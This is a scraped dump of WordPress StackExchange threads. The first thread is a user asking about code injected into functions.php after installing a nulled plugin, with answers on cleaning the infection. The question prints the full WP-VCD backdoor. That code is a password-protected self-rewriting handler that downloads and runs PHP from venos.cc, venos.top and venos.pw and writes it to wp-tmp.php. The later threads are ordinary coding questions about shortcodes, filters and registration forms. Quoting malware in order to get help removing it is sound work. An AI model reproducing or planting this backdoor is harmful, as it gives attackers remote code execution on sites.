Today while working, I had tried to install **Go Pricing** Plugin from this website. ``` https://www.downloadfreethemes.download/go-pricing-v3-3-8-wordpress-responsive-pricing-tables/ ``` It was unsuccessful at the first time then I tried for several times but no result. then after some time, my website went blank. I searched for Xampp errors, tried to deactivate plugins from the database(I could not access admin nor frontend) Then finally, I have found this code in **function.php** Is it something I have to worry? Is there any place where I can still find this code on my WordPress? Now I have removed this code from **function.php** and website is working fine but I am afraid if my passwords and other things uploading somewhere. Is there something i have to remove? ``` if (isset($_REQUEST['action']) && isset($_REQUEST['password']) && ($_REQUEST['password'] == 'b08494ffce10b7c547993599bd7deb9e')) { $div_code_name="wp_vcd"; switch ($_REQUEST['action']) { case 'change_domain'; if (isset($_REQUEST['newdomain'])) { if (!empty($_REQUEST['newdomain'])) { if ($file = @file_get_contents(__FILE__)) { if(preg_match_all('/\$tmpcontent = @file_get_contents\("http:\/\/(.*)\/code\.php/i',$file,$matcholddomain)) { $file = preg_replace('/'.$matcholddomain[1][0].'/i',$_REQUEST['newdomain'], $file); @file_put_contents(__FILE__, $file); print "true"; } } } } break; case 'change_code'; if (isset($_REQUEST['newcode'])) { if (!empty($_REQUEST['newcode'])) { if ($file = @file_get_contents(__FILE__)) { if(preg_match_all('/\/\/\$start_wp_theme_tmp([\s\S]*)\/\/\$end_wp_theme_tmp/i',$file,$matcholdcode)) { $file = str_replace($matcholdcode[1][0], stripslashes($_REQUEST['newcode']), $file); @file_put_contents(__FILE__, $file); print "true"; } } } } break; default: print "ERROR_WP_ACTION WP_V_CD WP_CD"; } die(""); } $div_code_name = "wp_vcd"; $funcfile = __FILE__; if(!function_exists('theme_temp_setup')) { $path = $_SERVER['HTTP_HOST'] . $_SERVER[REQUEST_URI]; if (stripos($_SERVER['REQUEST_URI'], 'wp-cron.php') == false && stripos($_SERVER['REQUEST_URI'], 'xmlrpc.php') == false) { function file_get_contents_tcurl($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_AUTOREFERER, TRUE); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_FOLLOWLOCATION, TRUE); $data = curl_exec($ch); curl_close($ch); return $data; } function theme_temp_setup($phpCode) { $tmpfname = tempnam(sys_get_temp_dir(), "theme_temp_setup"); $handle = fopen($tmpfname, "w+"); fwrite($handle, "<?php\n" . $phpCode); fclose($handle); include $tmpfname; unlink($tmpfname); return get_defined_vars(); } $wp_auth_key='322f4f8d2d11134e9bedae0c97257b9d'; if (($tmpcontent = @file_get_contents("http://www.venos.cc/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.venos.cc/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) { if (stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); if (!file_exists(get_template_directory() . '/wp-tmp.php')) { @file_put_contents('wp-tmp.php', $tmpcontent); } } } } elseif ($tmpcontent = @file_get_contents("http://www.venos.top/code.php") AND stripos($tmpcontent, $wp_auth_key) !== false ) { if (stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); @file_put_contents(ABSPATH . 'wp-includes/wp-tmp.php', $tmpcontent); if (!file_exists(ABSPATH . 'wp-includes/wp-tmp.php')) { @file_put_contents(get_template_directory() . '/wp-tmp.php', $tmpcontent); if (!file_exists(get_template_directory() . '/wp-tmp.php')) { @file_put_contents('wp-tmp.php', $tmpcontent); } } } } elseif ($tmpcontent = @file_get_contents(ABSPATH . 'wp-includes/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } elseif ($tmpcontent = @file_get_contents(get_template_directory() . '/wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } elseif ($tmpcontent = @file_get_contents('wp-tmp.php') AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } elseif (($tmpcontent = @file_get_contents("http://www.venos.pw/code.php") OR $tmpcontent = @file_get_contents_tcurl("http://www.venos.pw/code.php")) AND stripos($tmpcontent, $wp_auth_key) !== false) { extract(theme_temp_setup($tmpcontent)); } } } //$start_wp_theme_tmp //wp_tmp //$end_wp_theme_tmp ```
It's good that you've regained access to your website, but without any further action, you'll get hacked again. These are steps to take, in order to clean, and secure your site: 1. do not panic ( very important ) 2. do not remove anything yourself 3. install and activate [WordFence Security](https://wordpress.org/plugins/search/wordfence/) plugin 4. in *Wordfence -> Options*, select everything to scan 5. run *Wordfence -> Scan*, and follow instructions provided 6. repeat step 5, until the scan shows no problems 7. setup firewall in Wordfence 8. make a full backup of your site, and remember to do it frequently If the above procedure does not work at any stage, hire a professional! **Note:** it is possible, that the plugin, you've attempted to install, caused this infection. Be very careful installing plugins from unknown sources. Try first, to search for plugins, in the official WordPress repository.
285,472
<p>How do I run a get_posts query on an individual options page for my plugin and send those results to another function to populate the select fields?</p> <p>I'm building a custom plugin that builds a vcard from custom fields on various post types. </p> <p>On my options page, generated by CMB2, loaded on cmb2_admin_init, I have various select fields that show meta_keys I've found from running a query against all post types. I am seeing a huge number in queries naturally as the entries grow inside each post type. Therefore, I only want to run that query when on the specific admin options page. That is the only time I need that query. </p> <p>I have been trying to use the 'load-{options-page.php}' action hook which works fine, but I don't understand how to run that query and then get the results inside the function firing on cmb2_admin_init. They are both inside a class so maybe I can pass a variable? But ti always seems to re-run the query because the variable gets assigned inside the function firing on cmb2_admin_init.</p> <p>I can run this method on 'load-[name-of-optins-page.php}'</p> <pre><code>/** * Convert to array for CMB2 field type * @since 0.1.0 */ public function get_meta_keys_array() { $options = array(); // Get keys from a WP_Query $fields = $this-&gt;get_meta_keys(); if( $fields ) { // Builds simple array to populate my select fields foreach( $fields as $field =&gt; $key ) { $options[$key] = $key; } } return apply_filters( 'vcard_get_meta_keys_array_output', $options ); } </code></pre> <p>and then this function for the field display on 'cmb2_admin_init'</p> <pre><code>/** * Registers options page menu item and form. * * @since 1.9.0 */ public function register_options_metabox() { // This is where I am running into trouble. $meta_keys = $this-&gt;get_meta_keys_array(); $cmb_options = new_cmb2_box( array( 'id' =&gt; 'vcard_generator_metabox', 'title' =&gt; esc_html__( 'vCard Generator Settings', $this-&gt;plugin_name ), 'object_types' =&gt; array( 'options-page' ) $cmb_options-&gt;add_field( array( 'name' =&gt; esc_html__($person['name'], $this-&gt;plugin_name), 'id' =&gt; 'vcard_generator_metabox' . $person['id'], 'type' =&gt; 'select', 'show_option_none' =&gt; true, 'default' =&gt; 'custom', 'options' =&gt; $meta_keys // This is where the meta_keys are populated ) ); } </code></pre> <p>Note that these functions are truncated and will not work with copy/paste</p>
[ { "answer_id": 285468, "author": "Frank P. Walentynowicz", "author_id": 32851, "author_profile": "https://wordpress.stackexchange.com/users/32851", "pm_score": 3, "selected": true, "text": "<p>It's good that you've regained access to your website, but without any further action, you'll get hacked again. These are steps to take, in order to clean, and secure your site:</p>\n\n<ol>\n<li><p>do not panic ( very important )</p></li>\n<li><p>do not remove anything yourself</p></li>\n<li><p>install and activate <a href=\"https://wordpress.org/plugins/search/wordfence/\" rel=\"nofollow noreferrer\">WordFence Security</a> plugin</p></li>\n<li><p>in <em>Wordfence -> Options</em>, select everything to scan</p></li>\n<li><p>run <em>Wordfence -> Scan</em>, and follow instructions provided</p></li>\n<li><p>repeat step 5, until the scan shows no problems</p></li>\n<li><p>setup firewall in Wordfence</p></li>\n<li><p>make a full backup of your site, and remember to do it frequently</p></li>\n</ol>\n\n<p>If the above procedure does not work at any stage, hire a professional!</p>\n\n<p><strong>Note:</strong> it is possible, that the plugin, you've attempted to install, caused this infection. Be very careful installing plugins from unknown sources. Try first, to search for plugins, in the official WordPress repository.</p>\n" }, { "answer_id": 285480, "author": "Rick Hellewell", "author_id": 29416, "author_profile": "https://wordpress.stackexchange.com/users/29416", "pm_score": 0, "selected": false, "text": "<p>I never install plugins that come from non-WP-repository sources. Just not worth it, IMHO.</p>\n\n<p>That said, you should uninstall the plugin, then delete it, then make sure the plugin folder is deleted. I would also reinstall WP core, and all themes (remove any plugins/themes that you do not use). I have not used WordFence, so cannot comment on it. </p>\n\n<p>But I have cleaned up some sites, and wrote up a guide for that <a href=\"http://securitydawg.com/recovering-from-a-hacked-wordpress-site/\" rel=\"nofollow noreferrer\">here</a> that might be helpful. Some would say 'nuke from orbit', but I've found that the things mentioned in my guide work just fine ... at least in the sites that I have cleaned up.</p>\n\n<p>Good luck!</p>\n" }, { "answer_id": 290896, "author": "Marcelo", "author_id": 134732, "author_profile": "https://wordpress.stackexchange.com/users/134732", "pm_score": 2, "selected": false, "text": "<p>This occurs by using NULLED themes and plugins</p>\n\n<p>You have to know that everything nulled is contaminated by malicious code.</p>\n\n<p>When Nulled is installed, the code wakes up at a certain moment, goes through all the folders of your hosting, and installs a script in functions.php and adding several files en wp-includes or wp-admin.</p>\n\n<p>wp-vcd.php</p>\n\n<p>wp-tmp.php</p>\n\n<p>AND ALSO modifies</p>\n\n<p>post.php</p>\n\n<p>functions.php</p>\n" }, { "answer_id": 346441, "author": "Nitesh", "author_id": 174507, "author_profile": "https://wordpress.stackexchange.com/users/174507", "pm_score": 0, "selected": false, "text": "<p>I had the same issue and fixed by doing the below steps:</p>\n\n<ol>\n<li>Delete extra code from the \"wp-includes/post.php\" eg:</li>\n</ol>\n\n<p>\n\n<pre><code> if (file_exists(dirname(__FILE__) . '/wp-vcd.php'))\n\n include_once(dirname(__FILE__) . '/wp-vcd.php'); \n</code></pre>\n\n<ol start=\"2\">\n<li>Delete 2 files: \"wp-includes/wp-tmp.php\" &amp; \"wp-includes/wp-vcd.php\"</li>\n<li><p>Open \"themes/your theme [parent &amp; child ]/functions.php\" and delete injected code.</p></li>\n<li><p>remove from \"mysqlM\"</p></li>\n</ol>\n\n<p>PLEASE DON'T DOWNLOAD/INSTALL FROM THIRD-PARTY PLUGIN HACKER/PROVIDERS \"They are actual MF\"</p>\n\n<p>Hope this will help someone.</p>\n" } ]
2017/11/09
[ "https://wordpress.stackexchange.com/questions/285472", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131219/" ]
How do I run a get\_posts query on an individual options page for my plugin and send those results to another function to populate the select fields? I'm building a custom plugin that builds a vcard from custom fields on various post types. On my options page, generated by CMB2, loaded on cmb2\_admin\_init, I have various select fields that show meta\_keys I've found from running a query against all post types. I am seeing a huge number in queries naturally as the entries grow inside each post type. Therefore, I only want to run that query when on the specific admin options page. That is the only time I need that query. I have been trying to use the 'load-{options-page.php}' action hook which works fine, but I don't understand how to run that query and then get the results inside the function firing on cmb2\_admin\_init. They are both inside a class so maybe I can pass a variable? But ti always seems to re-run the query because the variable gets assigned inside the function firing on cmb2\_admin\_init. I can run this method on 'load-[name-of-optins-page.php}' ``` /** * Convert to array for CMB2 field type * @since 0.1.0 */ public function get_meta_keys_array() { $options = array(); // Get keys from a WP_Query $fields = $this->get_meta_keys(); if( $fields ) { // Builds simple array to populate my select fields foreach( $fields as $field => $key ) { $options[$key] = $key; } } return apply_filters( 'vcard_get_meta_keys_array_output', $options ); } ``` and then this function for the field display on 'cmb2\_admin\_init' ``` /** * Registers options page menu item and form. * * @since 1.9.0 */ public function register_options_metabox() { // This is where I am running into trouble. $meta_keys = $this->get_meta_keys_array(); $cmb_options = new_cmb2_box( array( 'id' => 'vcard_generator_metabox', 'title' => esc_html__( 'vCard Generator Settings', $this->plugin_name ), 'object_types' => array( 'options-page' ) $cmb_options->add_field( array( 'name' => esc_html__($person['name'], $this->plugin_name), 'id' => 'vcard_generator_metabox' . $person['id'], 'type' => 'select', 'show_option_none' => true, 'default' => 'custom', 'options' => $meta_keys // This is where the meta_keys are populated ) ); } ``` Note that these functions are truncated and will not work with copy/paste
It's good that you've regained access to your website, but without any further action, you'll get hacked again. These are steps to take, in order to clean, and secure your site: 1. do not panic ( very important ) 2. do not remove anything yourself 3. install and activate [WordFence Security](https://wordpress.org/plugins/search/wordfence/) plugin 4. in *Wordfence -> Options*, select everything to scan 5. run *Wordfence -> Scan*, and follow instructions provided 6. repeat step 5, until the scan shows no problems 7. setup firewall in Wordfence 8. make a full backup of your site, and remember to do it frequently If the above procedure does not work at any stage, hire a professional! **Note:** it is possible, that the plugin, you've attempted to install, caused this infection. Be very careful installing plugins from unknown sources. Try first, to search for plugins, in the official WordPress repository.
285,497
<p>My parent theme has a do_shortcode function that automatically generates and displays content on the sidebar. i want to edit it and put some custom content there.. How to do it?</p>
[ { "answer_id": 285498, "author": "bravokeyl", "author_id": 43098, "author_profile": "https://wordpress.stackexchange.com/users/43098", "pm_score": 0, "selected": false, "text": "<p><code>do_shortcode</code> outputs shortcode which is created using <code>add_shortcode</code>, so find out that shortcode function and check there are any action/filter hooks available.</p>\n\n<p>Or </p>\n\n<p>Use <a href=\"https://developer.wordpress.org/reference/functions/remove_shortcode/\" rel=\"nofollow noreferrer\"><code>remove_shortcode</code></a> to remove the parent theme function and add your own code using <a href=\"https://developer.wordpress.org/reference/functions/add_shortcode/\" rel=\"nofollow noreferrer\"><code>add_shortcode</code></a>. If the parent theme uses <code>function_exists</code> check while creating the shortcode then you don't need to worry about removing it. You can just override the function.</p>\n" }, { "answer_id": 285499, "author": "Malay Solanki", "author_id": 130744, "author_profile": "https://wordpress.stackexchange.com/users/130744", "pm_score": 1, "selected": false, "text": "<p>you can remove shortcode output using below function</p>\n\n<pre><code> remove_shortcode('shortcode_name')\n</code></pre>\n\n<p><a href=\"https://developer.wordpress.org/reference/functions/remove_shortcode/\" rel=\"nofollow noreferrer\">https://developer.wordpress.org/reference/functions/remove_shortcode/</a></p>\n" } ]
2017/11/10
[ "https://wordpress.stackexchange.com/questions/285497", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131241/" ]
My parent theme has a do\_shortcode function that automatically generates and displays content on the sidebar. i want to edit it and put some custom content there.. How to do it?
you can remove shortcode output using below function ``` remove_shortcode('shortcode_name') ``` <https://developer.wordpress.org/reference/functions/remove_shortcode/>
285,522
<p>I am very new to WordPress and I want to filter a list by gender.</p> <p>Selecting a male option should filter the list to show only males with the relative information.</p> <p>How can I achieve that?</p> <pre><code>$list = array( (object) array( 'name' =&gt; 'John', 'gender' =&gt; 'male', 'job' =&gt; 'Farmer' ), (object) array( 'name' =&gt; 'Paul', 'gender' =&gt; 'male', 'job' =&gt; 'Blacksmith' ), (object) array( 'name' =&gt; 'Adam', 'gender' =&gt; 'male', 'job' =&gt; '' ), (object) array( 'name' =&gt; 'Mike', 'gender' =&gt; 'male', 'job' =&gt; '' ), (object) array( 'name' =&gt; 'Jane', 'gender' =&gt; 'female', 'job' =&gt; 'Baker' ), (object) array( 'name' =&gt; 'Jill', 'gender' =&gt; 'female', 'job' =&gt; 'Farmer' ), ); </code></pre>
[ { "answer_id": 285524, "author": "Rarst", "author_id": 847, "author_profile": "https://wordpress.stackexchange.com/users/847", "pm_score": 2, "selected": true, "text": "<p>There is a convenient helper function in WP core called <code>wp_list_filter()</code>.</p>\n\n<p>Easy as:</p>\n\n<pre><code>$male = wp_list_filter( $list, [ 'gender' =&gt; 'male' ] );\n</code></pre>\n" }, { "answer_id": 285526, "author": "Drupalizeme", "author_id": 115005, "author_profile": "https://wordpress.stackexchange.com/users/115005", "pm_score": 0, "selected": false, "text": "<p>This can also be done with \"old\" fashion PHP (besides WP <a href=\"https://developer.wordpress.org/reference/functions/wp_list_filter/\" rel=\"nofollow noreferrer\">wp_list_filter</a>):</p>\n\n<blockquote>\n <p>I tend to prefer this kind of solutions as you can get more options.</p>\n</blockquote>\n\n<pre><code> $only_males = array_filter(\n $list,\n function ($e) {\n return $e-&gt;gender == 'male';\n }\n );\n</code></pre>\n\n<p>will return:</p>\n\n<pre><code>Array\n(\n [0] =&gt; stdClass Object\n (\n [name] =&gt; John\n [gender] =&gt; male\n [job] =&gt; Farmer\n )\n\n [1] =&gt; stdClass Object\n (\n [name] =&gt; Paul\n [gender] =&gt; male\n [job] =&gt; Blacksmith\n )\n\n [2] =&gt; stdClass Object\n (\n [name] =&gt; Adam\n [gender] =&gt; male\n [job] =&gt; \n )\n\n [3] =&gt; stdClass Object\n (\n [name] =&gt; Mike\n [gender] =&gt; male\n [job] =&gt; \n )\n\n)\n</code></pre>\n" } ]
2017/11/10
[ "https://wordpress.stackexchange.com/questions/285522", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/131258/" ]
I am very new to WordPress and I want to filter a list by gender. Selecting a male option should filter the list to show only males with the relative information. How can I achieve that? ``` $list = array( (object) array( 'name' => 'John', 'gender' => 'male', 'job' => 'Farmer' ), (object) array( 'name' => 'Paul', 'gender' => 'male', 'job' => 'Blacksmith' ), (object) array( 'name' => 'Adam', 'gender' => 'male', 'job' => '' ), (object) array( 'name' => 'Mike', 'gender' => 'male', 'job' => '' ), (object) array( 'name' => 'Jane', 'gender' => 'female', 'job' => 'Baker' ), (object) array( 'name' => 'Jill', 'gender' => 'female', 'job' => 'Farmer' ), ); ```
There is a convenient helper function in WP core called `wp_list_filter()`. Easy as: ``` $male = wp_list_filter( $list, [ 'gender' => 'male' ] ); ```
285,532
<p>I have the following code </p> <pre><code> function stock_agenda() { $days = json_decode(file_get_contents('json_file')); unset($days[0]); return '&lt;table class="table"&gt; &lt;thead&gt; &lt;tr&gt; &lt;th&gt; Title &lt;/th&gt; &lt;th&gt;Content&lt;/th&gt; &lt;th&gt;Date&lt;/th&gt; &lt;/tr&gt; &lt;/thead&gt; &lt;tbody&gt; '. foreach($days as $day){.' &lt;tr&gt; &lt;td&gt;'.$day[0].'&lt;/td&gt; &lt;td&gt;'.$day[1].'&lt;/td&gt; &lt;td&gt;'.$day[2].'&lt;/td&gt; &lt;/tr&gt; '. }.' &lt;/tbody&gt; &lt;/table&gt;' ; } </code></pre> <p>How to I assign it to a shortcode? If I write <code>foreach</code> inside the <code>return</code> method I get an error. </p>
[ { "answer_id": 285545, "author": "Drupalizeme", "author_id": 115005, "author_profile": "https://wordpress.stackexchange.com/users/115005", "pm_score": 0, "selected": false, "text": "<p>You can use:</p>\n\n<pre><code>function stock_agenda() {\n\n $days = json_decode(file_get_contents('json_file'));\n\n unset($days[0]);\n\n\n $include_variable = '';\n foreach($days as $day){\n $include_variable .= &lt;&lt;&lt;EOD\n &lt;tr&gt;\n &lt;td&gt;$day[0]&lt;/td&gt;\n &lt;td&gt;$day[1]&lt;/td&gt;\n &lt;td&gt;$day[2]&lt;/td&gt;\n &lt;/tr&gt;\n EOD;\n }\n\n $str = &lt;&lt;&lt;EOD\n &lt;table class=\"table\"&gt;\n &lt;thead&gt;\n &lt;tr&gt;\n &lt;th&gt; Title &lt;/th&gt;\n &lt;th&gt;Content&lt;/th&gt;\n &lt;th&gt;Date&lt;/th&gt;\n &lt;/tr&gt;\n &lt;/thead&gt;\n &lt;tbody&gt;\n $include_variable \n &lt;/tbody&gt;\n &lt;/table&gt;\n EOD;\n\n return $str;\n}\n</code></pre>\n" }, { "answer_id": 285546, "author": "Shibi", "author_id": 62500, "author_profile": "https://wordpress.stackexchange.com/users/62500", "pm_score": 3, "selected": true, "text": "<p>As I said in the comment you can use buffering like this</p>\n\n<pre><code>function stock_agenda() {\n $days = json_decode(file_get_contents('json_file'));\n unset($days[0]);\n ob_start(); // start buffer\n ?&gt;\n &lt;table class=\"table\"&gt;\n &lt;thead&gt;\n &lt;tr&gt;\n &lt;th&gt; Title &lt;/th&gt;\n &lt;th&gt;Content&lt;/th&gt;\n &lt;th&gt;Date&lt;/th&gt;\n &lt;/tr&gt;\n &lt;/thead&gt;\n &lt;tbody&gt;\n &lt;?php foreach($days as $day) { ?&gt;\n &lt;tr&gt;\n &lt;td&gt;&lt;?php echo $day[0]; ?&gt;&lt;/td&gt;\n &lt;td&gt;&lt;?php echo $day[1]; ?&gt;&lt;/td&gt;\n &lt;td&gt;&lt;?php echo $day[2]; ?&gt;&lt;/td&gt;\n &lt;/tr&gt;\n &lt;?php } ?&gt;\n &lt;/tbody&gt;\n &lt;/table&gt;\n &lt;?php\n $output = ob_get_clean(); // set the buffer data to variable and clean the buffer\n return $output;\n}\n</code></pre>\n" } ]
2017/11/10
[ "https://wordpress.stackexchange.com/questions/285532", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/92046/" ]
I have the following code ``` function stock_agenda() { $days = json_decode(file_get_contents('json_file')); unset($days[0]); return '<table class="table"> <thead> <tr> <th> Title </th> <th>Content</th> <th>Date</th> </tr> </thead> <tbody> '. foreach($days as $day){.' <tr> <td>'.$day[0].'</td> <td>'.$day[1].'</td> <td>'.$day[2].'</td> </tr> '. }.' </tbody> </table>' ; } ``` How to I assign it to a shortcode? If I write `foreach` inside the `return` method I get an error.
As I said in the comment you can use buffering like this ``` function stock_agenda() { $days = json_decode(file_get_contents('json_file')); unset($days[0]); ob_start(); // start buffer ?> <table class="table"> <thead> <tr> <th> Title </th> <th>Content</th> <th>Date</th> </tr> </thead> <tbody> <?php foreach($days as $day) { ?> <tr> <td><?php echo $day[0]; ?></td> <td><?php echo $day[1]; ?></td> <td><?php echo $day[2]; ?></td> </tr> <?php } ?> </tbody> </table> <?php $output = ob_get_clean(); // set the buffer data to variable and clean the buffer return $output; } ```
285,569
<p>I'm using 'Simply Show Hooks' plugin to spot various filters on a page. </p> <p>I'm trying to remove the following filter's function (method): <code>UM_User_posts–&gt;add_tab</code></p> <p>Here's my <code>remove_filter</code> code so far:</p> <pre><code>remove_filter( 'um_profile_tabs', '_____', 100); </code></pre> <p>How exactly would I include that function (method)?</p>
[ { "answer_id": 285570, "author": "Pat J", "author_id": 16121, "author_profile": "https://wordpress.stackexchange.com/users/16121", "pm_score": 1, "selected": false, "text": "<p>You need to know the name of the function that was hooked to the filter via the <code>add_filter()</code> command, as well as the priority at which it was hooked.</p>\n\n<p>So, in your example, let's assume that the <code>add_filter()</code> in question looks like this:</p>\n\n<pre><code>add_filter( 'um_profile_tabs', array( 'UM_User_posts', 'add_tab' ), 100 );\n</code></pre>\n\n<p>Then your <code>remove_filter()</code> should be:</p>\n\n<pre><code>remove_filter( 'um_profile_tabs', array( 'UM_User_posts', 'add_tab' ), 100 );\n</code></pre>\n\n<p>You <em>do</em> need to match the priority of the <code>add_filter()</code> call. If there's no priority specified in the <code>add_filter()</code>, then it will default to <code>10</code>. (<code>remove_filter()</code> likewise defaults to a priority of <code>10</code>.)</p>\n\n<h2>References</h2>\n\n<ul>\n<li><a href=\"https://developer.wordpress.org/reference/functions/remove_filter/\" rel=\"nofollow noreferrer\"><code>remove_filter()</code></a></li>\n<li><a href=\"https://developer.wordpress.org/reference/functions/add_filter/\" rel=\"nofollow noreferrer\"><code>add_filter()</code></a></li>\n</ul>\n" }, { "answer_id": 285574, "author": "fuxia", "author_id": 73, "author_profile": "https://wordpress.stackexchange.com/users/73", "pm_score": 3, "selected": true, "text": "<p>When you see a hook callback described as <code>UM_User_posts–&gt;add_tab</code>, you know there must be an <code>UM_User_posts</code> object somewhere. If <code>add_tab()</code> had been called statically, the callback description would be <code>UM_User_posts::add_tab</code>.</p>\n\n<p>Now you need access to the same instance of the <code>UM_User_posts</code> class that the plugin is using. How to get to that instance? That's often not possible, so you have to use <a href=\"https://wordpress.stackexchange.com/a/57088/73\">an ugly workaround</a>.</p>\n\n<p>In <em>your</em> case however, there is a better way. The one, very important information that I'm missing in your question is: What is the plugin whose callback you want to remove? My <em>guess</em> is you are using the plugin Ultimate Members. :)</p>\n\n<p>Now, when I look at the <a href=\"https://github.com/wp-plugins/ultimate-member/blob/9bb3cb349244ac0eae0ee36098b52a1dcb38c360/um-init.php#L151\" rel=\"nofollow noreferrer\">part where the instance for <code>UM_User_posts</code> is created</a>, I notice two things:</p>\n\n<ol>\n<li><p>I'm running out of polite words to describe that code. Probably my fault. :) But honestly, I would <em>not</em> run that code in production.</p></li>\n<li><p>The instance is assigned to an undeclared member <code>user_posts</code> of the class <code>UM_API</code>, and the instance of <em>that</em> class is put into a global variable named <code>$ultimatemember</code>. So the instance you need in order to remove the callback is in <code>$GLOBALS['ultimatemember']-&gt;user_posts</code>.</p></li>\n</ol>\n\n<p>And that leads us to the solution:</p>\n\n<pre><code>add_action( 'plugins_loaded', function() {\n remove_filter( \n 'um_profile_tabs', \n [ $GLOBALS['ultimatemember']-&gt;user_posts, 'add_tab' ], \n 100\n );\n});\n</code></pre>\n\n<p>I haven't tested it, because I really don't want to install that anywhere, so … good luck. :)</p>\n" } ]
2017/11/10
[ "https://wordpress.stackexchange.com/questions/285569", "https://wordpress.stackexchange.com", "https://wordpress.stackexchange.com/users/36830/" ]
I'm using 'Simply Show Hooks' plugin to spot various filters on a page. I'm trying to remove the following filter's function (method): `UM_User_posts–>add_tab` Here's my `remove_filter` code so far: ``` remove_filter( 'um_profile_tabs', '_____', 100); ``` How exactly would I include that function (method)?
When you see a hook callback described as `UM_User_posts–>add_tab`, you know there must be an `UM_User_posts` object somewhere. If `add_tab()` had been called statically, the callback description would be `UM_User_posts::add_tab`. Now you need access to the same instance of the `UM_User_posts` class that the plugin is using. How to get to that instance? That's often not possible, so you have to use [an ugly workaround](https://wordpress.stackexchange.com/a/57088/73). In *your* case however, there is a better way. The one, very important information that I'm missing in your question is: What is the plugin whose callback you want to remove? My *guess* is you are using the plugin Ultimate Members. :) Now, when I look at the [part where the instance for `UM_User_posts` is created](https://github.com/wp-plugins/ultimate-member/blob/9bb3cb349244ac0eae0ee36098b52a1dcb38c360/um-init.php#L151), I notice two things: 1. I'm running out of polite words to describe that code. Probably my fault. :) But honestly, I would *not* run that code in production. 2. The instance is assigned to an undeclared member `user_posts` of the class `UM_API`, and the instance of *that* class is put into a global variable named `$ultimatemember`. So the instance you need in order to remove the callback is in `$GLOBALS['ultimatemember']->user_posts`. And that leads us to the solution: ``` add_action( 'plugins_loaded', function() { remove_filter( 'um_profile_tabs', [ $GLOBALS['ultimatemember']->user_posts, 'add_tab' ], 100 ); }); ``` I haven't tested it, because I really don't want to install that anywhere, so … good luck. :)
285,583
<p>Im currently working on a front end form using some code found here - <a href="https://wordpress.stackexchange.com/questions/7134/front-end-register-form">orginal</a></p> <pre><code>add_action('template_redirect', 'register_a_user'); function register_a_user(){ if(isset($_GET['do']) &amp;&amp; $_GET['do'] == 'register'): $errors = array(); if(empty($_POST['user']) || empty($_POST['email'])) $errors[] = 'provide a user and email'; if(empty($_POST['first_name']) || empty($_POST['last_name'])) $errors[] = 'provide name'; if(!empty($_POST['spam'])) $errors[] = 'gtfo spammer'; if(!empty($_POST['pass1']) &amp;&amp; !empty($_POST['pass2'])) $error[] = 'The passwords you entered do not match'; $account = esc_attr($_POST['account_type']); $user_login = esc_attr($_POST['user']); $user_email = esc_attr($_POST['email']); $user_pass = esc_attr($_POST['pass1']); $user_pass2 = esc_attr($_POST['pass2']); $user_first = esc_attr($_POST['first_name']); $user_last = esc_attr($_POST['last_name']); $b_email = esc_attr($_POST['broker_email']); wp_update_user( array( 'ID' =&gt; $current_user-&gt;ID, 'broker_email' =&gt; esc_url( $_POST['broker_email'] ) ) ); require_once(ABSPATH.WPINC.'/registration.php'); $sanitized_user_login = sanitize_user($user_login); $user_email = apply_filters('user_registration_email', $user_email); if(!is_email($user_email)) $errors[] = 'invalid e-mail'; elseif(email_exists($user_email)) $errors[] = 'this email is already registered'; if(empty($sanitized_user_login) || !validate_username($user_login)) $errors[] = 'invalid user name'; elseif(username_exists($sanitized_user_login)) $errors[] = 'user name already exists'; if(empty($errors)): if ( $_POST['pass1'] == $_POST['pass2'] ) { $user_data = array ( 'user_login' =&gt; $sanitized_user_login, 'user_pass' =&gt; $user_pass, 'user_email' =&gt; $user_email, 'user_first' =&gt; $user_first, 'user_last' =&gt; $user_last, 'b_email' =&gt; $b_email, 'role' =&gt; $account ); // Create the user $user_id = wp_insert_user( $user_data ); } else { $errors[] = 'passwords dont match'; } if(!$user_id): $errors[] = 'registration failed...'; else: wp_new_user_notification($user_id); endif; endif; if(!empty($errors)) define('REGISTRATION_ERROR', serialize($errors)); else define('REGISTERED_A_USER', $user_email); endif; } </code></pre> <p>On my register form I tried adding these 3 fields</p> <pre><code>&lt;input type="text" name="broker_email" class="form-control" value="" /&gt; &lt;input type="text" name="first_name" class="form-control" value="" /&gt; &lt;input type="text" name="last_name" class="form-control" value="" /&gt; </code></pre> <p>Everything almost works fine except the name fields arent saving and the "broker email" fields arent saving. What am I doing wrong?</p>
[ { "answer_id": 285630, "author": "TurtleTread", "author_id": 117263, "author_profile": "https://wordpress.stackexchange.com/users/117263", "pm_score": 0, "selected": false, "text": "<p>I see you are a designer, so you may not have had much experience with coding and database. From the issues in the code, you have a minimal understanding of PHP and WordPress functions. Do not take this as offense as I'm simply pointing out that you may need to read up a bit more on PHP and WordPress docs (a pain but a necessity if you want to code more working PHP and WP scripts).</p>\n\n<p>Three primary issues that's causing the fields not saving :</p>\n\n<ol>\n<li><p>Your 4th validation check simply checks if both passwords are not empty, which then always will return true if you supplied input for both fields. Your matching check from the later code is correct and you should use that there.</p></li>\n<li><p><a href=\"https://codex.wordpress.org/Function_Reference/wp_insert_user\" rel=\"nofollow noreferrer\">wp_insert_user</a> takes only pre-defined keys specified in the linked doc. Take a look at that and modify your keys. </p></li>\n<li><p>Your <em>b_email</em> is a custom usermeta field (If you have database access, you can take a look at the wp_users and the columns there are basically the ones that you can directly update using <code>wp_insert_user</code> or <code>wp_update_user</code>). So to store custom fields, you 